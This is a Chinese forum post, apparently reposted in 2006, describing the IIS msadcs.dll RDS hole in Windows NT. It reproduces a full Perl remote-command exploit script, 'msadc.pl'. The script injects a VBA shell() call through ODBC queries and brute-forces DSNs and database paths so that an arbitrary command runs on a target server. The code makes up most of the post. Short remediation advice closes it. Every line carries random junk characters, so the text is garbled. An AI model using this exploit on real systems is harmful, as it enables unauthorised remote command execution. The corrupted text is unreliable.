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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) AdZ;j6#  
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涉及程序: gwd (N  
Microsoft NT server `p kMN  
UM*jKi2]"  
描述: {%v-(  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 q@5K6yE  
Y<"7x#AB!  
详细: sd#|3  
如果你没有时间读详细内容的话,就删除: 5v)(8|.M  
c:\Program Files\Common Files\System\Msadc\msadcs.dll }ov&.,vQ  
有关的安全问题就没有了。 Dq@2-Cv  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 W,@ If}  
|tzg :T;  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 -tsDMji~V  
关于利用ODBC远程漏洞的描述,请参看: )QagS.L{z  
7r+g8+4  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm +z9@:L  
1=7jz]t  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 Hy"x  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ,fIe&zq  
~n')&u{  
这里不再论述。 raVA?|'g~  
t&Os;x?To?  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: /y7M lU9  
9mc!bj^811  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset kPBV6+d~  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! y %$O-q  
ik|-L8  
l+][V'zL  
#将下面这段保存为txt文件,然后: "perl -x 文件名" wfvU0]wk}  
@;xMs8@  
#!perl ]9=h%5Ji>  
# l&VjUPz_  
# MSADC/RDS 'usage' (aka exploit) script B<8N96fx  
# :M{Y,~cP  
# by rain.forest.puppy rKHY?{!  
# kL7#W9  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 0qjXQs}  
# beta test and find errors! 6<,dRn  
!{n<K:x1  
use Socket; use Getopt::Std; "!>DX1rsi  
getopts("e:vd:h:XR", \%args); .I VlEG0  
?.c;oS|  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; cWGDee(  
~m1P_`T  
if (!defined $args{h} && !defined $args{R}) { be5,U\&z  
print qq~ Nfe>3uQK  
Usage: msadc.pl -h <host> { -d <delay> -X -v } r!P}u  
-h <host> = host you want to scan (ip or domain) >3:?)  
-d <seconds> = delay between calls, default 1 second 3Y)PU=  
-X = dump Index Server path table, if available IC{eE  
-v = verbose }~h'FHCC+  
-e = external dictionary file for step 5 ri C[lB  
{ 74mf'IW  
Or a -R will resume a command session 7f<EoSK  
cH<q:OYi  
~; exit;} Ov-b:l H  
P^MOx4  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; E$a ?LFa6  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} B,z<%DAE  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} obK*rdg ,  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); s%iOUL2/  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} } B396X  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } '^%~JyU  
SxyONp.$\  
if (!defined $args{R}){ $ret = &has_msadc; w|mb4AyL{?  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ,:Vm6u!  
:RSz4  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" PUQES(&  
. "cmd /c "; 4GG>!@|  
$in=<STDIN>; chomp $in; C=uZ1xg*,  
$command="cmd /c " . $in ; o }Tz"bN  
E6Rz@"^XV  
if (defined $args{R}) {&load; exit;} sfr(/mp(  
y5= `ap  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; Ae^X35  
&try_btcustmr; =O _z(  
d1!i(MaV!  
print "\nStep 2: Trying to make our own DSN..."; ~zm 7?_"@]  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; jUj<~:Q}3o  
TGuiNobD  
print "\nStep 3: Trying known DSNs..."; A392=:N+Q  
&known_dsn; nI*/Mhx  
FZd.L6q  
print "\nStep 4: Trying known .mdbs..."; Sj'ht=  
&known_mdb; n[Zz]IO,g  
, "jbq~  
if (defined $args{e}){ $@\mpwANl  
print "\nStep 5: Trying dictionary of DSN names..."; rOW-0B+N  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } |W$DVRA  
l5Y/Ok0,  
print "Sorry Charley...maybe next time?\n"; nfb]VN~(  
exit; nqR?l4 DX  
L?_7bX oD  
############################################################################## D PrBFmHF  
>}~#>Ru  
sub sendraw { # ripped and modded from whisker /wQL  
sleep($delay); # it's a DoS on the server! At least on mine... *KK+X07  
my ($pstr)=@_; rI5F oh6  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || _!xD8Di#  
die("Socket problems\n");  gB\T[RV  
if(connect(S,pack "SnA4x8",2,80,$target)){ UX`]k{Mz  
select(S); $|=1; EG'[`<*h  
print $pstr; my @in=<S>; -]C c  
select(STDOUT); close(S); |5I'CNi\  
return @in; xy+QbD T  
} else { die("Can't connect...\n"); }} "O+5R(XT  
v]2S`ffP  
############################################################################## q,<[hBri-  
F Kc;W  
sub make_header { # make the HTTP request E}CiQUx  
my $msadc=<<EOT R cY>k  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 kH*Pn'  
User-Agent: ACTIVEDATA 3`hUo5K  
Host: $ip yTE%hHH]&[  
Content-Length: $clen aYL|@R5;e  
Connection: Keep-Alive Gy1xG.yM~  
u^I(Ny  
ADCClientVersion:01.06 He0=-AR8  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ufa41$B'yG  
]"AyAkT(  
--!ADM!ROX!YOUR!WORLD! m,3er*t{  
Content-Type: application/x-varg <0|9Tn2O  
Content-Length: $reqlen ?[ly`>KpJ  
D/(L  
EOT B bhfG64  
; $msadc=~s/\n/\r\n/g; f#%JSV"7  
return $msadc;} W-RqN!snJ8  
8pLBt:  
############################################################################## @J[6,$UVu  
I3u{zHVwI  
sub make_req { # make the RDS request ]u-SL md  
my ($switch, $p1, $p2)=@_; :&}odx!-!C  
my $req=""; my $t1, $t2, $query, $dsn; '"pd  
3[p_!eoW  
if ($switch==1){ # this is the btcustmr.mdb query RhF>T&Q  
$query="Select * from Customers where City=" . make_shell(); -O:_!\uA  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . )/4(e?%=  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} | sqZ$Mu  
@e~]t}fH  
elsif ($switch==2){ # this is general make table query OwzJO  
$query="create table AZZ (B int, C varchar(10))"; di9!lS$  
$dsn="$p1";} ,O=a*%0rt  
\8uo{#cL8  
elsif ($switch==3){ # this is general exploit table query 2.}R  
$query="select * from AZZ where C=" . make_shell(); !=Y;h[J.p  
$dsn="$p1";} ~Y= @$!Uq  
?tf&pgo  
elsif ($switch==4){ # attempt to hork file info from index server 78n}rT%k1  
$query="select path from scope()"; ;y?);!g  
$dsn="Provider=MSIDXS;";} ;N+$2w  
71FeDpe  
elsif ($switch==5){ # bad query 6XEZ4QP}  
$query="select"; fi PIAT}  
$dsn="$p1";} GYRYbiwqdi  
O@8pC+#`Z  
$t1= make_unicode($query); W:&R~R  
$t2= make_unicode($dsn); k!jNOqbb  
$req = "\x02\x00\x03\x00"; ~CRSL1?  
$req.= "\x08\x00" . pack ("S1", length($t1)); K5 3MMH[q#  
$req.= "\x00\x00" . $t1 ; VCNT4m  
$req.= "\x08\x00" . pack ("S1", length($t2)); Mro4`GL  
$req.= "\x00\x00" . $t2 ; NCeaL-y7  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; {!ZyCi19  
return $req;} ^jdL@#k00  
r'/;O  
############################################################################## OL59e %X  
oqkVYlE  
sub make_shell { # this makes the shell() statement a<XCNTaVT  
return "'|shell(\"$command\")|'";} c"YXxA J  
I"L;L?\S  
############################################################################## $X`y%*<<v  
cl[!`Z  
sub make_unicode { # quick little function to convert to unicode #~:P}<h  
my ($in)=@_; my $out; KcGsMPJ  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } xtV[p4U  
return $out;} +%J\y^09kr  
"yb WDWu  
############################################################################## }m]q}r  
T*2C_oW  
sub rdo_success { # checks for RDO return success (this is kludge) *ck}|RhR  
my (@in) = @_; my $base=content_start(@in); YZ#V#[j'^  
if($in[$base]=~/multipart\/mixed/){ e]+OO g&  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} `%K`gYhG1  
return 0;} W-2i+g)  
noVa=aU^  
############################################################################## U SOKDDm  
yFIy`9R  
sub make_dsn { # this makes a DSN for us 'aJgLws*w  
my @drives=("c","d","e","f"); Lrz3   
print "\nMaking DSN: ";  ~m=EM;  
foreach $drive (@drives) { XaI;2fMGI  
print "$drive: "; tgFJZA  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . /4S;QEv  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" W+>wu%[L  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); BW[5o3 i  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; =y ]Jl,_.  
return 0 if $2 eq "404"; # not found/doesn't exist i`U: gw  
if($2 eq "200") { cH`^D?#se  
foreach $line (@results) { sOFa!bdPW  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} JXQPT  
} return 0;} }amU[U,  
;|ub!z9GG  
############################################################################## >G)qns9  
dT@UK^\  
sub verify_exists { _]#klL  
my ($page)=@_; =6nD0i 9+  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 8m=Z|"H@  
return $results[0];} u4'z$>B  
O??vm?eo  
############################################################################## HB& &  
<)m%*9{  
sub try_btcustmr { Iq' O  
my @drives=("c","d","e","f"); ,4F,:w  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 9V!-ZG  
N{a kg90  
foreach $dir (@dirs) { HQVh+(  
print "$dir -> "; # fun status so you can see progress 0A$SYF$O+[  
foreach $drive (@drives) { iv%w!3#  
print "$drive: "; # ditto ,\ldz(D?+  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; w8M2N]&:  
$reqlenlen=length( "$reqlen" ); SBKeb|H8  
$clen= 206 + $reqlenlen + $reqlen; rnhFqNT:  
$%qg"  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); E{^^^"z P  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} E:A!wS`"  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} IhonnLLW  
L ^Y3=1#"g  
############################################################################## Z[#IfbYt  
Ueyw;Y  
sub odbc_error { n[k1np$7?6  
my (@in)=@_; my $base; ?T*";_o,B  
my $base = content_start(@in); XF,<i1ZlM  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this )q^ Bj$  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; P;91~``b-  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; f@z*3I;  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; -zfoRU v  
return $in[$base+4].$in[$base+5].$in[$base+6];} D&{ *AH%Q  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; D5A=,\uk  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 0Qd%iP)6  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} Cw1( 5  
3{J.xWB@:  
############################################################################## mBl7{w;Iv  
=& U`9qN  
sub verbose { bkQ3c-C<  
my ($in)=@_; mN1Ssq"B  
return if !$verbose; +uQB rG  
print STDOUT "\n$in\n";} ijZ>:B2:  
*Zkss   
############################################################################## H~9=&p[Q  
F>Jg~ FD*  
sub save { Qlz Q]:dWC  
my ($p1, $p2, $p3, $p4)=@_; X , ZeD  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; I6dm@{/:>  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; }p'8w\C$  
close OUT;} gg]~2f  
U</+.$b  
############################################################################## pCt}66k}  
U6{dI@|B  
sub load { 1L[S*X  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; N/{?7sG&  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); DP>mNE  
@p=<IN>; close(IN); c4|so=  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); &BgU:R,  
$target= inet_aton($ip) || die("inet_aton problems"); 1%eLs=u?  
print "Resuming to $ip ..."; 0j@IxEPs  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; L>nO:`>h  
if($p[1]==1) { 60PYCqWc  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 1q!sKoJ<  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; *Q/E~4AW|t  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); wo(j}O-  
if (rdo_success(@results)){print "Success!\n";} /=M.-MU2  
else { print "failed\n"; verbose(odbc_error(@results));}} I7Zq}Pxa  
elsif ($p[1]==3){ V_]-`?S  
if(run_query("$p[3]")){ g{a d0.y,  
print "Success!\n";} else { print "failed\n"; }} s1=u{ET  
elsif ($p[1]==4){ E& ]_U$  
if(run_query($drvst . "$p[3]")){ P1QB`&8F  
print "Success!\n"; } else { print "failed\n"; }} ~ 7BX@?  
exit;} XI g|G}i.  
<4NQL*|>  
############################################################################## IMR$x(g= F  
mh8nlB  
sub create_table { !:J< pWN"  
my ($in)=@_; *2:Yf7rvI+  
$reqlen=length( make_req(2,$in,"") ) - 28; j&}B<f _6J  
$reqlenlen=length( "$reqlen" ); )`RZkCe  
$clen= 206 + $reqlenlen + $reqlen; h>Rpb#]  
my @results=sendraw(make_header() . make_req(2,$in,"")); :+A; TV  
return 1 if rdo_success(@results); dh,7iQ s  
my $temp= odbc_error(@results); verbose($temp); -AeHY'T  
return 1 if $temp=~/Table 'AZZ' already exists/; I)uASfT$  
return 0;} _Fvsi3d/  
Z{16S=0  
############################################################################## bl9E&B/  
G[B*TM6$  
sub known_dsn { Faw. GU  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go Q }8C  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", /K&wr6  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 2c*2\93>  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); >,w P! ;dh  
Xa\]ua_  
foreach $dSn (@dsns) { ?/L1tX)  
print "."; T/3;NXe6E  
next if (!is_access("DSN=$dSn")); ceI [hM  
if(create_table("DSN=$dSn")){ 0Cv4/Ar(  
print "$dSn successful\n"; dW6Q)Rfi  
if(run_query("DSN=$dSn")){ "p2u+ 8?  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { KK MWD\  
print "Something's borked. Use verbose next time\n";}}} print "\n";} n]Ebwznt-  
'.xkn{c  
############################################################################## {kv4g\a;  
'4Y*-!9  
sub is_access { |W/Hi^YE2  
my ($in)=@_; n7'<3t  
$reqlen=length( make_req(5,$in,"") ) - 28; {.%0@{Y  
$reqlenlen=length( "$reqlen" ); /iTH0@Kw;  
$clen= 206 + $reqlenlen + $reqlen; N}1-2  
my @results=sendraw(make_header() . make_req(5,$in,"")); yO%VzjJhg  
my $temp= odbc_error(@results); n/:Z{  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); :'TX"E!  
return 0;} 5vl2yN  
EID(M.G  
############################################################################## JCBnFrP  
,9+nfj  
sub run_query { ]dQZ8yVK  
my ($in)=@_; !DCVoc]pV  
$reqlen=length( make_req(3,$in,"") ) - 28; A` oa|k!U  
$reqlenlen=length( "$reqlen" ); sV;qpDXX  
$clen= 206 + $reqlenlen + $reqlen; 7YSuB9{M  
my @results=sendraw(make_header() . make_req(3,$in,"")); ]lC4+{V  
return 1 if rdo_success(@results); <4SF~i  
my $temp= odbc_error(@results); verbose($temp); ;2 \<M 6  
return 0;} eq7C]i rH  
W>UjUq);  
############################################################################## IrUpExJ  
9 ?[4i'  
sub known_mdb { qRWJ-T:!F  
my @drives=("c","d","e","f","g"); 047*gn.b  
my @dirs=("winnt","winnt35","winnt351","win","windows"); (p'/p  
my $dir, $drive, $mdb; 0!)U *+j,  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; d u _O}x  
vHoT@E#}'  
# this is sparse, because I don't know of many !k ;[^>  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ~6=Wq64  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", %,h!: Ec^c  
"\\system32\\certmdb.mdb", ~p0 e=u  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% XP3QBq  
"4k"U1  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", oTZo[T@zRx  
"\\cfusion\\cfapps\\forums\\forums_.mdb", %YsRm%q  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", B&to&|jf  
"\\cfusion\\cfapps\\security\\realm_.mdb", BD<rQmfA^  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", F\I5fNs@  
"\\cfusion\\database\\cfexamples.mdb", $XtV8  
"\\cfusion\\database\\cfsnippets.mdb", GXGN;,7EV  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", kvY} yw7  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", :ga 9Db9P  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 9iiU,}M`j  
"\\cfusion\\database\\smpolicy.mdb", 8Fyc#Xo8  
"\\cfusion\\database\cypress.mdb", |v,}%UN2  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", $v2S;UB v*  
"\\website\\cgi-win\\dbsample.mdb", %!1@aL]pQ  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ]M02>=1  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" z0FR33-  
); #these are just X:iG[iU*  
foreach $drive (@drives) { %l0_PhAB  
foreach $dir (@dirs){ Z%(Df3~gmm  
foreach $mdb (@sysmdbs) { j TGS6{E  
print "."; !:R^}pMhIk  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ U]1>?,Nk'3  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ci#Zvhtk r  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ i&? 78+:  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; q>wa#1X)  
} else { print "Something's borked. Use verbose next time\n"; }}}}} AqTR.}H  
pRb+'v&_k  
foreach $drive (@drives) { YLr%vnO*NS  
foreach $mdb (@mdbs) { >& 4I.nA  
print "."; (Qw`%B  
if(create_table($drv . $drive . $dir . $mdb)){ ~QQEHx\4zZ  
print "\n" . $drive . $dir . $mdb . " successful\n"; 50O7=  
if(run_query($drv . $drive . $dir . $mdb)){ ([z<TS#Md  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; H"kc^G+(R"  
} else { print "Something's borked. Use verbose next time\n"; }}}} O#<|[Dzw  
} _Y:Ja0,  
bUEt0wRR  
############################################################################## LL6ON }  
)4VL m  
sub hork_idx { [U_Q 2<H  
print "\nAttempting to dump Index Server tables...\n"; 4IH0un  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 0Te)s3X  
$reqlen=length( make_req(4,"","") ) - 28; q| de*~@-P  
$reqlenlen=length( "$reqlen" ); x(T!I&i={  
$clen= 206 + $reqlenlen + $reqlen; 'npT+p$ V  
my @results=sendraw2(make_header() . make_req(4,"","")); QqT6P`0u  
if (rdo_success(@results)){ 3:z4M9f  
my $max=@results; my $c; my %d; U[H+87zg  
for($c=19; $c<$max; $c++){ ~50y-  
$results[$c]=~s/\x00//g; BdRE*9.0  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; FN8=YUYK%  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; o>QFd x  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; DT1i2!  
$d{"$1$2"}="";} Gff[c%I  
foreach $c (keys %d){ print "$c\n"; } hA&j?{  
} else {print "Index server doesn't seem to be installed.\n"; }} UGezo3}  
H_xQ>~b  
############################################################################## ~ Iu21Q(*  
/I`!i K  
sub dsn_dict { 9|?(GG  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ;Fwm1ezx0  
while(<IN>){ nATfmUN L  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; \I`=JKYT  
next if (!is_access("DSN=$dSn")); 6>P  
if(create_table("DSN=$dSn")){ qJAv=D  
print "$dSn successful\n"; Sj=69>m]5  
if(run_query("DSN=$dSn")){ ?Sd~u1w8K  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { !Sr0Im0  
print "Something's borked. Use verbose next time\n";}}} , L AJ  
print "\n"; close(IN);} n+A'XBHk  
!D|pbzQc8  
############################################################################## d~xU?)n)  
F"HI>t)>  
sub sendraw2 { # ripped and modded from whisker 0'`8HP  
sleep($delay); # it's a DoS on the server! At least on mine... iM Y0xf8l  
my ($pstr)=@_; u" NIG  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || )b:~kuHi  
die("Socket problems\n"); bl!f5ROS(  
if(connect(S,pack "SnA4x8",2,80,$target)){ Wvzzjcr(j  
print "Connected. Getting data"; N4JqW  
open(OUT,">raw.out"); my @in; Q,`2DHhK  
select(S); $|=1; print $pstr; 3R$CxRc:  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} &xMJ^Nv  
close(OUT); select(STDOUT); close(S); return @in; 7.Kjg_N#Tr  
} else { die("Can't connect...\n"); }} e*'|iuDrY  
}i/2XmA )  
############################################################################## c<t3y7  
z)?#UdBQv  
sub content_start { # this will take in the server headers %NAFU /&  
my (@in)=@_; my $c; X6"^:)&1M  
for ($c=1;$c<500;$c++) { yADN_  
if($in[$c] =~/^\x0d\x0a/){ (w@MlMk  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } #B.w7y5*  
else { return $c+1; }}} Kr}M>hF+|  
return -1;} # it should never get here actually (^s&#_w03  
PU/Br;2A  
############################################################################## "3KSmb   
^5'/ }iR2N  
sub funky { O%q;,w{prW  
my (@in)=@_; my $error=odbc_error(@in); J#OE}xASoA  
if($error=~/ADO could not find the specified provider/){ "}~i7NBB  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; Hr8$1I$=  
exit;} SpTORR8  
if($error=~/A Handler is required/){ XCi]()TZ_  
print "\nServer has custom handler filters (they most likely are patched)\n"; j*Wh;I+h  
exit;} q MT.7n:  
if($error=~/specified Handler has denied Access/){ -GkK[KCH  
print "\nServer has custom handler filters (they most likely are patched)\n"; #SLxNAH  
exit;}} S&)) 0d  
+qW w-8  
############################################################################## 6L`+ z  
gp&& c,  
sub has_msadc { \eSk7C  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); +` Y ?-  
my $base=content_start(@results); Ev|{~U  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); TWR#MVMI  
return 0;} zl0:U2x7  
}.|5S+J?[  
######################## SAo \H  
I3rnCd(  
I~5fz4Q  
解决方案: O[(HE 8E  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll +}L3T"  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 41Q   
'<W,-i  
拿出来充数 哈哈
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